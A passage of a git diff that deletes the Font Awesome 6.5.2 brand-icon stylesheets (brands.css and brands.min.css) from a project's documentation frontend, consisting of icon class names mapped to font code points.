-.fa-mixer:before {
- content: "\e056"; }
-
-.fa-square-lastfm:before {
- content: "\f203"; }
-
-.fa-lastfm-square:before {
- content: "\f203"; }
-
-.fa-vimeo:before {
- content: "\f40a"; }
-
-.fa-mendeley:before {
- content: "\f7b3"; }
-
-.fa-uniregistry:before {
- content: "\f404"; }
-
-.fa-figma:before {
- content: "\f799"; }
-
-.fa-creative-commons-remix:before {
- content: "\f4ee"; }
-
-.fa-cc-amazon-pay:before {
- content: "\f42d"; }
-
-.fa-dropbox:before {
- content: "\f16b"; }
-
-.fa-instagram:before {
- content: "\f16d"; }
-
-.fa-cmplid:before {
- content: "\e360"; }
-
-.fa-upwork:before {
- content: "\e641"; }
-
-.fa-facebook:before {
- content: "\f09a"; }
-
-.fa-gripfire:before {
- content: "\f3ac"; }
-
-.fa-jedi-order:before {
- content: "\f50e"; }
-
-.fa-uikit:before {
- content: "\f403"; }
-
-.fa-fort-awesome-alt:before {
- content: "\f3a3"; }
-
-.fa-phabricator:before {
- content: "\f3db"; }
-
-.fa-ussunnah:before {
- content: "\f407"; }
-
-.fa-earlybirds:before {
- content: "\f39a"; }
-
-.fa-trade-federation:before {
- content: "\f513"; }
-
-.fa-autoprefixer:before {
- content: "\f41c"; }
-
-.fa-whatsapp:before {
- content: "\f232"; }
-
-.fa-square-upwork:before {
- content: "\e67c"; }
-
-.fa-slideshare:before {
- content: "\f1e7"; }
-
-.fa-google-play:before {
- content: "\f3ab"; }
-
-.fa-viadeo:before {
- content: "\f2a9"; }
-
-.fa-line:before {
- content: "\f3c0"; }
-
-.fa-google-drive:before {
- content: "\f3aa"; }
-
-.fa-servicestack:before {
- content: "\f3ec"; }
-
-.fa-simplybuilt:before {
- content: "\f215"; }
-
-.fa-bitbucket:before {
- content: "\f171"; }
-
-.fa-imdb:before {
- content: "\f2d8"; }
-
-.fa-deezer:before {
- content: "\e077"; }
-
-.fa-raspberry-pi:before {
- content: "\f7bb"; }
-
-.fa-jira:before {
- content: "\f7b1"; }
-
-.fa-docker:before {
- content: "\f395"; }
-
-.fa-screenpal:before {
- content: "\e570"; }
-
-.fa-bluetooth:before {
- content: "\f293"; }
-
-.fa-gitter:before {
- content: "\f426"; }
-
-.fa-d-and-d:before {
- content: "\f38d"; }
-
-.fa-microblog:before {
- content: "\e01a"; }
-
-.fa-cc-diners-club:before {
- content: "\f24c"; }
-
-.fa-gg-circle:before {
- content: "\f261"; }
-
-.fa-pied-piper-hat:before {
- content: "\f4e5"; }
-
-.fa-kickstarter-k:before {
- content: "\f3bc"; }
-
-.fa-yandex:before {
- content: "\f413"; }
-
-.fa-readme:before {
- content: "\f4d5"; }
-
-.fa-html5:before {
- content: "\f13b"; }
-
-.fa-sellsy:before {
- content: "\f213"; }
-
-.fa-square-web-awesome:before {
- content: "\e683"; }
-
-.fa-sass:before {
- content: "\f41e"; }
-
-.fa-wirsindhandwerk:before {
- content: "\e2d0"; }
-
-.fa-wsh:before {
- content: "\e2d0"; }
-
-.fa-buromobelexperte:before {
- content: "\f37f"; }
-
-.fa-salesforce:before {
- content: "\f83b"; }
-
-.fa-octopus-deploy:before {
- content: "\e082"; }
-
-.fa-medapps:before {
- content: "\f3c6"; }
-
-.fa-ns8:before {
- content: "\f3d5"; }
-
-.fa-pinterest-p:before {
- content: "\f231"; }
-
-.fa-apper:before {
- content: "\f371"; }
-
-.fa-fort-awesome:before {
- content: "\f286"; }
-
-.fa-waze:before {
- content: "\f83f"; }
-
-.fa-bluesky:before {
- content: "\e671"; }
-
-.fa-cc-jcb:before {
- content: "\f24b"; }
-
-.fa-snapchat:before {
- content: "\f2ab"; }
-
-.fa-snapchat-ghost:before {
- content: "\f2ab"; }
-
-.fa-fantasy-flight-games:before {
- content: "\f6dc"; }
-
-.fa-rust:before {
- content: "\e07a"; }
-
-.fa-wix:before {
- content: "\f5cf"; }
-
-.fa-square-behance:before {
- content: "\f1b5"; }
-
-.fa-behance-square:before {
- content: "\f1b5"; }
-
-.fa-supple:before {
- content: "\f3f9"; }
-
-.fa-webflow:before {
- content: "\e65c"; }
-
-.fa-rebel:before {
- content: "\f1d0"; }
-
-.fa-css3:before {
- content: "\f13c"; }
-
-.fa-staylinked:before {
- content: "\f3f5"; }
-
-.fa-kaggle:before {
- content: "\f5fa"; }
-
-.fa-space-awesome:before {
- content: "\e5ac"; }
-
-.fa-deviantart:before {
- content: "\f1bd"; }
-
-.fa-cpanel:before {
- content: "\f388"; }
-
-.fa-goodreads-g:before {
- content: "\f3a9"; }
-
-.fa-square-git:before {
- content: "\f1d2"; }
-
-.fa-git-square:before {
- content: "\f1d2"; }
-
-.fa-square-tumblr:before {
- content: "\f174"; }
-
-.fa-tumblr-square:before {
- content: "\f174"; }
-
-.fa-trello:before {
- content: "\f181"; }
-
-.fa-creative-commons-nc-jp:before {
- content: "\f4ea"; }
-
-.fa-get-pocket:before {
- content: "\f265"; }
-
-.fa-perbyte:before {
- content: "\e083"; }
-
-.fa-grunt:before {
- content: "\f3ad"; }
-
-.fa-weebly:before {
- content: "\f5cc"; }
-
-.fa-connectdevelop:before {
- content: "\f20e"; }
-
-.fa-leanpub:before {
- content: "\f212"; }
-
-.fa-black-tie:before {
- content: "\f27e"; }
-
-.fa-themeco:before {
- content: "\f5c6"; }
-
-.fa-python:before {
- content: "\f3e2"; }
-
-.fa-android:before {
- content: "\f17b"; }
-
-.fa-bots:before {
- content: "\e340"; }
-
-.fa-free-code-camp:before {
- content: "\f2c5"; }
-
-.fa-hornbill:before {
- content: "\f592"; }
-
-.fa-js:before {
- content: "\f3b8"; }
-
-.fa-ideal:before {
- content: "\e013"; }
-
-.fa-git:before {
- content: "\f1d3"; }
-
-.fa-dev:before {
- content: "\f6cc"; }
-
-.fa-sketch:before {
- content: "\f7c6"; }
-
-.fa-yandex-international:before {
- content: "\f414"; }
-
-.fa-cc-amex:before {
- content: "\f1f3"; }
-
-.fa-uber:before {
- content: "\f402"; }
-
-.fa-github:before {
- content: "\f09b"; }
-
-.fa-php:before {
- content: "\f457"; }
-
-.fa-alipay:before {
- content: "\f642"; }
-
-.fa-youtube:before {
- content: "\f167"; }
-
-.fa-skyatlas:before {
- content: "\f216"; }
-
-.fa-firefox-browser:before {
- content: "\e007"; }
-
-.fa-replyd:before {
- content: "\f3e6"; }
-
-.fa-suse:before {
- content: "\f7d6"; }
-
-.fa-jenkins:before {
- content: "\f3b6"; }
-
-.fa-twitter:before {
- content: "\f099"; }
-
-.fa-rockrms:before {
- content: "\f3e9"; }
-
-.fa-pinterest:before {
- content: "\f0d2"; }
-
-.fa-buffer:before {
- content: "\f837"; }
-
-.fa-npm:before {
- content: "\f3d4"; }
-
-.fa-yammer:before {
- content: "\f840"; }
-
-.fa-btc:before {
- content: "\f15a"; }
-
-.fa-dribbble:before {
- content: "\f17d"; }
-
-.fa-stumbleupon-circle:before {
- content: "\f1a3"; }
-
-.fa-internet-explorer:before {
- content: "\f26b"; }
-
-.fa-stubber:before {
- content: "\e5c7"; }
-
-.fa-telegram:before {
- content: "\f2c6"; }
-
-.fa-telegram-plane:before {
- content: "\f2c6"; }
-
-.fa-old-republic:before {
- content: "\f510"; }
-
-.fa-odysee:before {
- content: "\e5c6"; }
-
-.fa-square-whatsapp:before {
- content: "\f40c"; }
-
-.fa-whatsapp-square:before {
- content: "\f40c"; }
-
-.fa-node-js:before {
- content: "\f3d3"; }
-
-.fa-edge-legacy:before {
- content: "\e078"; }
-
-.fa-slack:before {
- content: "\f198"; }
-
-.fa-slack-hash:before {
- content: "\f198"; }
-
-.fa-medrt:before {
- content: "\f3c8"; }
-
-.fa-usb:before {
- content: "\f287"; }
-
-.fa-tumblr:before {
- content: "\f173"; }
-
-.fa-vaadin:before {
- content: "\f408"; }
-
-.fa-quora:before {
- content: "\f2c4"; }
-
-.fa-square-x-twitter:before {
- content: "\e61a"; }
-
-.fa-reacteurope:before {
- content: "\f75d"; }
-
-.fa-medium:before {
- content: "\f23a"; }
-
-.fa-medium-m:before {
- content: "\f23a"; }
-
-.fa-amilia:before {
- content: "\f36d"; }
-
-.fa-mixcloud:before {
- content: "\f289"; }
-
-.fa-flipboard:before {
- content: "\f44d"; }
-
-.fa-viacoin:before {
- content: "\f237"; }
-
-.fa-critical-role:before {
- content: "\f6c9"; }
-
-.fa-sitrox:before {
- content: "\e44a"; }
-
-.fa-discourse:before {
- content: "\f393"; }
-
-.fa-joomla:before {
- content: "\f1aa"; }
-
-.fa-mastodon:before {
- content: "\f4f6"; }
-
-.fa-airbnb:before {
- content: "\f834"; }
-
-.fa-wolf-pack-battalion:before {
- content: "\f514"; }
-
-.fa-buy-n-large:before {
- content: "\f8a6"; }
-
-.fa-gulp:before {
- content: "\f3ae"; }
-
-.fa-creative-commons-sampling-plus:before {
- content: "\f4f1"; }
-
-.fa-strava:before {
- content: "\f428"; }
-
-.fa-ember:before {
- content: "\f423"; }
-
-.fa-canadian-maple-leaf:before {
- content: "\f785"; }
-
-.fa-teamspeak:before {
- content: "\f4f9"; }
-
-.fa-pushed:before {
- content: "\f3e1"; }
-
-.fa-wordpress-simple:before {
- content: "\f411"; }
-
-.fa-nutritionix:before {
- content: "\f3d6"; }
-
-.fa-wodu:before {
- content: "\e088"; }
-
-.fa-google-pay:before {
- content: "\e079"; }
-
-.fa-intercom:before {
- content: "\f7af"; }
-
-.fa-zhihu:before {
- content: "\f63f"; }
-
-.fa-korvue:before {
- content: "\f42f"; }
-
-.fa-pix:before {
- content: "\e43a"; }
-
-.fa-steam-symbol:before {
- content: "\f3f6"; }
diff --git a/documentation/frontend/static/fontawesome/css/brands.min.css b/documentation/frontend/static/fontawesome/css/brands.min.css
deleted file mode 100644
index 3e70760..0000000
--- a/documentation/frontend/static/fontawesome/css/brands.min.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-:host,:root{--fa-style-family-brands:"Font Awesome 6 Brands";--fa-font-brands:normal 400 1em/1 "Font Awesome 6 Brands"}@font-face{font-family:"Font Awesome 6 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-brands-400.woff2) format("woff2"),url(../webfonts/fa-brands-400.ttf) format("truetype")}.fa-brands,.fab{font-weight:400}.fa-monero:before{content:"\f3d0"}.fa-hooli:before{content:"\f427"}.fa-yelp:before{content:"\f1e9"}.fa-cc-visa:before{content:"\f1f0"}.fa-lastfm:before{content:"\f202"}.fa-shopware:before{content:"\f5b5"}.fa-creative-commons-nc:before{content:"\f4e8"}.fa-aws:before{content:"\f375"}.fa-redhat:before{content:"\f7bc"}.fa-yoast:before{content:"\f2b1"}.fa-cloudflare:before{content:"\e07d"}.fa-ups:before{content:"\f7e0"}.fa-pixiv:before{content:"\e640"}.fa-wpexplorer:before{content:"\f2de"}.fa-dyalog:before{content:"\f399"}.fa-bity:before{content:"\f37a"}.fa-stackpath:before{content:"\f842"}.fa-buysellads:before{content:"\f20d"}.fa-first-order:before{content:"\f2b0"}.fa-modx:before{content:"\f285"}.fa-guilded:before{content:"\e07e"}.fa-vnv:before{content:"\f40b"}.fa-js-square:before,.fa-square-js:before{content:"\f3b9"}.fa-microsoft:before{content:"\f3ca"}.fa-qq:before{content:"\f1d6"}.fa-orcid:before{content:"\f8d2"}.fa-java:before{content:"\f4e4"}.fa-invision:before{content:"\f7b0"}.fa-creative-commons-pd-alt:before{content:"\f4ed"}.fa-centercode:before{content:"\f380"}.fa-glide-g:before{content:"\f2a6"}.fa-drupal:before{content:"\f1a9"}.fa-jxl:before{content:"\e67b"}.fa-hire-a-helper:before{content:"\f3b0"}.fa-creative-commons-by:before{content:"\f4e7"}.fa-unity:before{content:"\e049"}.fa-whmcs:before{content:"\f40d"}.fa-rocketchat:before{content:"\f3e8"}.fa-vk:before{content:"\f189"}.fa-untappd:before{content:"\f405"}.fa-mailchimp:before{content:"\f59e"}.fa-css3-alt:before{content:"\f38b"}.fa-reddit-square:before,.fa-square-reddit:before{content:"\f1a2"}.fa-vimeo-v:before{content:"\f27d"}.fa-contao:before{content:"\f26d"}.fa-square-font-awesome:before{content:"\e5ad"}.fa-deskpro:before{content:"\f38f"}.fa-brave:before{content:"\e63c"}.fa-sistrix:before{content:"\f3ee"}.fa-instagram-square:before,.fa-square-instagram:before{content:"\e055"}.fa-battle-net:before{content:"\f835"}.fa-the-red-yeti:before{content:"\f69d"}.fa-hacker-news-square:before,.fa-square-hacker-news:before{content:"\f3af"}.fa-edge:before{content:"\f282"}.fa-threads:before{content:"\e618"}.fa-napster:before{content:"\f3d2"}.fa-snapchat-square:before,.fa-square-snapchat:before{content:"\f2ad"}.fa-google-plus-g:before{content:"\f0d5"}.fa-artstation:before{content:"\f77a"}.fa-markdown:before{content:"\f60f"}.fa-sourcetree:before{content:"\f7d3"}.fa-google-plus:before{content:"\f2b3"}.fa-diaspora:before{content:"\f791"}.fa-foursquare:before{content:"\f180"}.fa-stack-overflow:before{content:"\f16c"}.fa-github-alt:before{content:"\f113"}.fa-phoenix-squadron:before{content:"\f511"}.fa-pagelines:before{content:"\f18c"}.fa-algolia:before{content:"\f36c"}.fa-red-river:before{content:"\f3e3"}.fa-creative-commons-sa:before{content:"\f4ef"}.fa-safari:before{content:"\f267"}.fa-google:before{content:"\f1a0"}.fa-font-awesome-alt:before,.fa-square-font-awesome-stroke:before{content:"\f35c"}.fa-atlassian:before{content:"\f77b"}.fa-linkedin-in:before{content:"\f0e1"}.fa-digital-ocean:before{content:"\f391"}.fa-nimblr:before{content:"\f5a8"}.fa-chromecast:before{content:"\f838"}.fa-evernote:before{content:"\f839"}.fa-hacker-news:before{content:"\f1d4"}.fa-creative-commons-sampling:before{content:"\f4f0"}.fa-adversal:before{content:"\f36a"}.fa-creative-commons:before{content:"\f25e"}.fa-watchman-monitoring:before{content:"\e087"}.fa-fonticons:before{content:"\f280"}.fa-weixin:before{content:"\f1d7"}.fa-shirtsinbulk:before{content:"\f214"}.fa-codepen:before{content:"\f1cb"}.fa-git-alt:before{content:"\f841"}.fa-lyft:before{content:"\f3c3"}.fa-rev:before{content:"\f5b2"}.fa-windows:before{content:"\f17a"}.fa-wizards-of-the-coast:before{content:"\f730"}.fa-square-viadeo:before,.fa-viadeo-square:before{content:"\f2aa"}.fa-meetup:before{content:"\f2e0"}.fa-centos:before{content:"\f789"}.fa-adn:before{content:"\f170"}.fa-cloudsmith:before{content:"\f384"}.fa-opensuse:before{content:"\e62b"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-dribbble-square:before,.fa-square-dribbble:before{content:"\f397"}.fa-codiepie:before{content:"\f284"}.fa-node:before{content:"\f419"}.fa-mix:before{content:"\f3cb"}.fa-steam:before{content:"\f1b6"}.fa-cc-apple-pay:before{content:"\f416"}.fa-scribd:before{content:"\f28a"}.fa-debian:before{content:"\e60b"}.fa-openid:before{content:"\f19b"}.fa-instalod:before{content:"\e081"}.fa-expeditedssl:before{content:"\f23e"}.fa-sellcast:before{content:"\f2da"}.fa-square-twitter:before,.fa-twitter-square:before{content:"\f081"}.fa-r-project:before{content:"\f4f7"}.fa-delicious:before{content:"\f1a5"}.fa-freebsd:before{content:"\f3a4"}.fa-vuejs:before{content:"\f41f"}.fa-accusoft:before{content:"\f369"}.fa-ioxhost:before{content:"\f208"}.fa-fonticons-fi:before{content:"\f3a2"}.fa-app-store:before{content:"\f36f"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-itunes-note:before{content:"\f3b5"}.fa-golang:before{content:"\e40f"}.fa-kickstarter:before,.fa-square-kickstarter:before{content:"\f3bb"}.fa-grav:before{content:"\f2d6"}.fa-weibo:before{content:"\f18a"}.fa-uncharted:before{content:"\e084"}.fa-firstdraft:before{content:"\f3a1"}.fa-square-youtube:before,.fa-youtube-square:before{content:"\f431"}.fa-wikipedia-w:before{content:"\f266"}.fa-rendact:before,.fa-wpressr:before{content:"\f3e4"}.fa-angellist:before{content:"\f209"}.fa-galactic-republic:before{content:"\f50c"}.fa-nfc-directional:before{content:"\e530"}.fa-skype:before{content:"\f17e"}.fa-joget:before{content:"\f3b7"}.fa-fedora:before{content:"\f798"}.fa-stripe-s:before{content:"\f42a"}.fa-meta:before{content:"\e49b"}.fa-laravel:before{content:"\f3bd"}.fa-hotjar:before{content:"\f3b1"}.fa-bluetooth-b:before{content:"\f294"}.fa-square-letterboxd:before{content:"\e62e"}.fa-sticker-mule:before{content:"\f3f7"}.fa-creative-commons-zero:before{content:"\f4f3"}.fa-hips:before{content:"\f452"}.fa-behance:before{content:"\f1b4"}.fa-reddit:before{content:"\f1a1"}.fa-discord:before{content:"\f392"}.fa-chrome:before{content:"\f268"}.fa-app-store-ios:before{content:"\f370"}.fa-cc-discover:before{content:"\f1f2"}.fa-wpbeginner:before{content:"\f297"}.fa-confluence:before{content:"\f78d"}.fa-shoelace:before{content:"\e60c"}.fa-mdb:before{content:"\f8ca"}.fa-dochub:before{content:"\f394"}.fa-accessible-icon:before{content:"\f368"}.fa-ebay:before{content:"\f4f4"}.fa-amazon:before{content:"\f270"}.fa-unsplash:before{content:"\e07c"}.fa-yarn:before{content:"\f7e3"}.fa-square-steam:before,.fa-steam-square:before{content:"\f1b7"}.fa-500px:before{content:"\f26e"}.fa-square-vimeo:before,.fa-vimeo-square:before{content:"\f194"}.fa-asymmetrik:before{content:"\f372"}.fa-font-awesome-flag:before,.fa-font-awesome-logo-full:before,.fa-font-awesome:before{content:"\f2b4"}.fa-gratipay:before{content:"\f184"}.fa-apple:before{content:"\f179"}.fa-hive:before{content:"\e07f"}.fa-gitkraken:before{content:"\f3a6"}.fa-keybase:before{content:"\f4f5"}.fa-apple-pay:before{content:"\f415"}.fa-padlet:before{content:"\e4a0"}.fa-amazon-pay:before{content:"\f42c"}.fa-github-square:before,.fa-square-github:before{content:"\f092"}.fa-stumbleupon:before{content:"\f1a4"}.fa-fedex:before{content:"\f797"}.fa-phoenix-framework:before{content:"\f3dc"}.fa-shopify:before{content:"\e057"}.fa-neos:before{content:"\f612"}.fa-square-threads:before{content:"\e619"}.fa-hackerrank:before{content:"\f5f7"}.fa-researchgate:before{content:"\f4f8"}.fa-swift:before{content:"\f8e1"}.fa-angular:before{content:"\f420"}.fa-speakap:before{content:"\f3f3"}.fa-angrycreative:before{content:"\f36e"}.fa-y-combinator:before{content:"\f23b"}.fa-empire:before{content:"\f1d1"}.fa-envira:before{content:"\f299"}.fa-google-scholar:before{content:"\e63b"}.fa-gitlab-square:before,.fa-square-gitlab:before{content:"\e5ae"}.fa-studiovinari:before{content:"\f3f8"}.fa-pied-piper:before{content:"\f2ae"}.fa-wordpress:before{content:"\f19a"}.fa-product-hunt:before{content:"\f288"}.fa-firefox:before{content:"\f269"}.fa-linode:before{content:"\f2b8"}.fa-goodreads:before{content:"\f3a8"}.fa-odnoklassniki-square:before,.fa-square-odnoklassniki:before{content:"\f264"}.fa-jsfiddle:before{content:"\f1cc"}.fa-sith:before{content:"\f512"}.fa-themeisle:before{content:"\f2b2"}.fa-page4:before{content:"\f3d7"}.fa-hashnode:before{content:"\e499"}.fa-react:before{content:"\f41b"}.fa-cc-paypal:before{content:"\f1f4"}.fa-squarespace:before{content:"\f5be"}.fa-cc-stripe:before{content:"\f1f5"}.fa-creative-commons-share:before{content:"\f4f2"}.fa-bitcoin:before{content:"\f379"}.fa-keycdn:before{content:"\f3ba"}.fa-opera:before{content:"\f26a"}.fa-itch-io:before{content:"\f83a"}.fa-umbraco:before{content:"\f8e8"}.fa-galactic-senate:before{content:"\f50d"}.fa-ubuntu:before{content:"\f7df"}.fa-draft2digital:before{content:"\f396"}.fa-stripe:before{content:"\f429"}.fa-houzz:before{content:"\f27c"}.fa-gg:before{content:"\f260"}.fa-dhl:before{content:"\f790"}.fa-pinterest-square:before,.fa-square-pinterest:before{content:"\f0d3"}.fa-xing:before{content:"\f168"}.fa-blackberry:before{content:"\f37b"}.fa-creative-commons-pd:before{content:"\f4ec"}.fa-playstation:before{content:"\f3df"}.fa-quinscape:before{content:"\f459"}.fa-less:before{content:"\f41d"}.fa-blogger-b:before{content:"\f37d"}.fa-opencart:before{content:"\f23d"}.fa-vine:before{content:"\f1ca"}.fa-signal-messenger:before{content:"\e663"}.fa-paypal:before{content:"\f1ed"}.fa-gitlab:before{content:"\f296"}.fa-typo3:before{content:"\f42b"}.fa-reddit-alien:before{content:"\f281"}.fa-yahoo:before{content:"\f19e"}.fa-dailymotion:before{content:"\e052"}.fa-affiliatetheme:before{content:"\f36b"}.fa-pied-piper-pp:before{content:"\f1a7"}.fa-bootstrap:before{content:"\f836"}.fa-odnoklassniki:before{content:"\f263"}.fa-nfc-symbol:before{content:"\e531"}.fa-mintbit:before{content:"\e62f"}.fa-ethereum:before{content:"\f42e"}.fa-speaker-deck:before{content:"\f83c"}.fa-creative-commons-nc-eu:before{content:"\f4e9"}.fa-patreon:before{content:"\f3d9"}.fa-avianex:before{content:"\f374"}.fa-ello:before{content:"\f5f1"}.fa-gofore:before{content:"\f3a7"}.fa-bimobject:before{content:"\f378"}.fa-brave-reverse:before{content:"\e63d"}.fa-facebook-f:before{content:"\f39e"}.fa-google-plus-square:before,.fa-square-google-plus:before{content:"\f0d4"}.fa-web-awesome:before{content:"\e682"}.fa-mandalorian:before{content:"\f50f"}.fa-first-order-alt:before{content:"\f50a"}.fa-osi:before{content:"\f41a"}.fa-google-wallet:before{content:"\f1ee"}.fa-d-and-d-beyond:before{content:"\f6ca"}.fa-periscope:before{content:"\f3da"}.fa-fulcrum:before{content:"\f50b"}.fa-cloudscale:before{content:"\f383"}.fa-forumbee:before{content:"\f211"}.fa-mizuni:before{content:"\f3cc"}.fa-schlix:before{content:"\f3ea"}.fa-square-xing:before,.fa-xing-square:before{content:"\f169"}.fa-bandcamp:before{content:"\f2d5"}.fa-wpforms:before{content:"\f298"}.fa-cloudversify:before{content:"\f385"}.fa-usps:before{content:"\f7e1"}.fa-megaport:before{content:"\f5a3"}.fa-magento:before{content:"\f3c4"}.fa-spotify:before{content:"\f1bc"}.fa-optin-monster:before{content:"\f23c"}.fa-fly:before{content:"\f417"}.fa-aviato:before{content:"\f421"}.fa-itunes:before{content:"\f3b4"}.fa-cuttlefish:before{content:"\f38c"}.fa-blogger:before{content:"\f37c"}.fa-flickr:before{content:"\f16e"}.fa-viber:before{content:"\f409"}.fa-soundcloud:before{content:"\f1be"}.fa-digg:before{content:"\f1a6"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-letterboxd:before{content:"\e62d"}.fa-symfony:before{content:"\f83d"}.fa-maxcdn:before{content:"\f136"}.fa-etsy:before{content:"\f2d7"}.fa-facebook-messenger:before{content:"\f39f"}.fa-audible:before{content:"\f373"}.fa-think-peaks:before{content:"\f731"}.fa-bilibili:before{content:"\e3d9"}.fa-erlang:before{content:"\f39d"}.fa-x-twitter:before{content:"\e61b"}.fa-cotton-bureau:before{content:"\f89e"}.fa-dashcube:before{content:"\f210"}.fa-42-group:before,.fa-innosoft:before{content:"\e080"}.fa-stack-exchange:before{content:"\f18d"}.fa-elementor:before{content:"\f430"}.fa-pied-piper-square:before,.fa-square-pied-piper:before{content:"\e01e"}.fa-creative-commons-nd:before{content:"\f4eb"}.fa-palfed:before{content:"\f3d8"}.fa-superpowers:before{content:"\f2dd"}.fa-resolving:before{content:"\f3e7"}.fa-xbox:before{content:"\f412"}.fa-square-web-awesome-stroke:before{content:"\e684"}.fa-searchengin:before{content:"\f3eb"}.fa-tiktok:before{content:"\e07b"}.fa-facebook-square:before,.fa-square-facebook:before{content:"\f082"}.fa-renren:before{content:"\f18b"}.fa-linux:before{content:"\f17c"}.fa-glide:before{content:"\f2a5"}.fa-linkedin:before{content:"\f08c"}.fa-hubspot:before{content:"\f3b2"}.fa-deploydog:before{content:"\f38e"}.fa-twitch:before{content:"\f1e8"}.fa-ravelry:before{content:"\f2d9"}.fa-mixer:before{content:"\e056"}.fa-lastfm-square:before,.fa-square-lastfm:before{content:"\f203"}.fa-vimeo:before{content:"\f40a"}.fa-mendeley:before{content:"\f7b3"}.fa-uniregistry:before{content:"\f404"}.fa-figma:before{content:"\f799"}.fa-creative-commons-remix:before{content:"\f4ee"}.fa-cc-amazon-pay:before{content:"\f42d"}.fa-dropbox:before{content:"\f16b"}.fa-instagram:before{content:"\f16d"}.fa-cmplid:before{content:"\e360"}.fa-upwork:before{content:"\e641"}.fa-facebook:before{content:"\f09a"}.fa-gripfire:before{content:"\f3ac"}.fa-jedi-order:before{content:"\f50e"}.fa-uikit:before{content:"\f403"}.fa-fort-awesome-alt:before{content:"\f3a3"}.fa-phabricator:before{content:"\f3db"}.fa-ussunnah:before{content:"\f407"}.fa-earlybirds:before{content:"\f39a"}.fa-trade-federation:before{content:"\f513"}.fa-autoprefixer:before{content:"\f41c"}.fa-whatsapp:before{content:"\f232"}.fa-square-upwork:before{content:"\e67c"}.fa-slideshare:before{content:"\f1e7"}.fa-google-play:before{content:"\f3ab"}.fa-viadeo:before{content:"\f2a9"}.fa-line:before{content:"\f3c0"}.fa-google-drive:before{content:"\f3aa"}.fa-servicestack:before{content:"\f3ec"}.fa-simplybuilt:before{content:"\f215"}.fa-bitbucket:before{content:"\f171"}.fa-imdb:before{content:"\f2d8"}.fa-deezer:before{content:"\e077"}.fa-raspberry-pi:before{content:"\f7bb"}.fa-jira:before{content:"\f7b1"}.fa-docker:before{content:"\f395"}.fa-screenpal:before{content:"\e570"}.fa-bluetooth:before{content:"\f293"}.fa-gitter:before{content:"\f426"}.fa-d-and-d:before{content:"\f38d"}.fa-microblog:before{content:"\e01a"}.fa-cc-diners-club:before{content:"\f24c"}.fa-gg-circle:before{content:"\f261"}.fa-pied-piper-hat:before{content:"\f4e5"}.fa-kickstarter-k:before{content:"\f3bc"}.fa-yandex:before{content:"\f413"}.fa-readme:before{content:"\f4d5"}.fa-html5:before{content:"\f13b"}.fa-sellsy:before{content:"\f213"}.fa-square-web-awesome:before{content:"\e683"}.fa-sass:before{content:"\f41e"}.fa-wirsindhandwerk:before,.fa-wsh:before{content:"\e2d0"}.fa-buromobelexperte:before{content:"\f37f"}.fa-salesforce:before{content:"\f83b"}.fa-octopus-deploy:before{content:"\e082"}.fa-medapps:before{content:"\f3c6"}.fa-ns8:before{content:"\f3d5"}.fa-pinterest-p:before{content:"\f231"}.fa-apper:before{content:"\f371"}.fa-fort-awesome:before{content:"\f286"}.fa-waze:before{content:"\f83f"}.fa-bluesky:before{content:"\e671"}.fa-cc-jcb:before{content:"\f24b"}.fa-snapchat-ghost:before,.fa-snapchat:before{content:"\f2ab"}.fa-fantasy-flight-games:before{content:"\f6dc"}.fa-rust:before{content:"\e07a"}.fa-wix:before{content:"\f5cf"}.fa-behance-square:before,.fa-square-behance:before{content:"\f1b5"}.fa-supple:before{content:"\f3f9"}.fa-webflow:before{content:"\e65c"}.fa-rebel:before{content:"\f1d0"}.fa-css3:before{content:"\f13c"}.fa-staylinked:before{content:"\f3f5"}.fa-kaggle:before{content:"\f5fa"}.fa-space-awesome:before{content:"\e5ac"}.fa-deviantart:before{content:"\f1bd"}.fa-cpanel:before{content:"\f388"}.fa-goodreads-g:before{content:"\f3a9"}.fa-git-square:before,.fa-square-git:before{content:"\f1d2"}.fa-square-tumblr:before,.fa-tumblr-square:before{content:"\f174"}.fa-trello:before{content:"\f181"}.fa-creative-commons-nc-jp:before{content:"\f4ea"}.fa-get-pocket:before{content:"\f265"}.fa-perbyte:before{content:"\e083"}.fa-grunt:before{content:"\f3ad"}.fa-weebly:before{content:"\f5cc"}.fa-connectdevelop:before{content:"\f20e"}.fa-leanpub:before{content:"\f212"}.fa-black-tie:before{content:"\f27e"}.fa-themeco:before{content:"\f5c6"}.fa-python:before{content:"\f3e2"}.fa-android:before{content:"\f17b"}.fa-bots:before{content:"\e340"}.fa-free-code-camp:before{content:"\f2c5"}.fa-hornbill:before{content:"\f592"}.fa-js:before{content:"\f3b8"}.fa-ideal:before{content:"\e013"}.fa-git:before{content:"\f1d3"}.fa-dev:before{content:"\f6cc"}.fa-sketch:before{content:"\f7c6"}.fa-yandex-international:before{content:"\f414"}.fa-cc-amex:before{content:"\f1f3"}.fa-uber:before{content:"\f402"}.fa-github:before{content:"\f09b"}.fa-php:before{content:"\f457"}.fa-alipay:before{content:"\f642"}.fa-youtube:before{content:"\f167"}.fa-skyatlas:before{content:"\f216"}.fa-firefox-browser:before{content:"\e007"}.fa-replyd:before{content:"\f3e6"}.fa-suse:before{content:"\f7d6"}.fa-jenkins:before{content:"\f3b6"}.fa-twitter:before{content:"\f099"}.fa-rockrms:before{content:"\f3e9"}.fa-pinterest:before{content:"\f0d2"}.fa-buffer:before{content:"\f837"}.fa-npm:before{content:"\f3d4"}.fa-yammer:before{content:"\f840"}.fa-btc:before{content:"\f15a"}.fa-dribbble:before{content:"\f17d"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-internet-explorer:before{content:"\f26b"}.fa-stubber:before{content:"\e5c7"}.fa-telegram-plane:before,.fa-telegram:before{content:"\f2c6"}.fa-old-republic:before{content:"\f510"}.fa-odysee:before{content:"\e5c6"}.fa-square-whatsapp:before,.fa-whatsapp-square:before{content:"\f40c"}.fa-node-js:before{content:"\f3d3"}.fa-edge-legacy:before{content:"\e078"}.fa-slack-hash:before,.fa-slack:before{content:"\f198"}.fa-medrt:before{content:"\f3c8"}.fa-usb:before{content:"\f287"}.fa-tumblr:before{content:"\f173"}.fa-vaadin:before{content:"\f408"}.fa-quora:before{content:"\f2c4"}.fa-square-x-twitter:before{content:"\e61a"}.fa-reacteurope:before{content:"\f75d"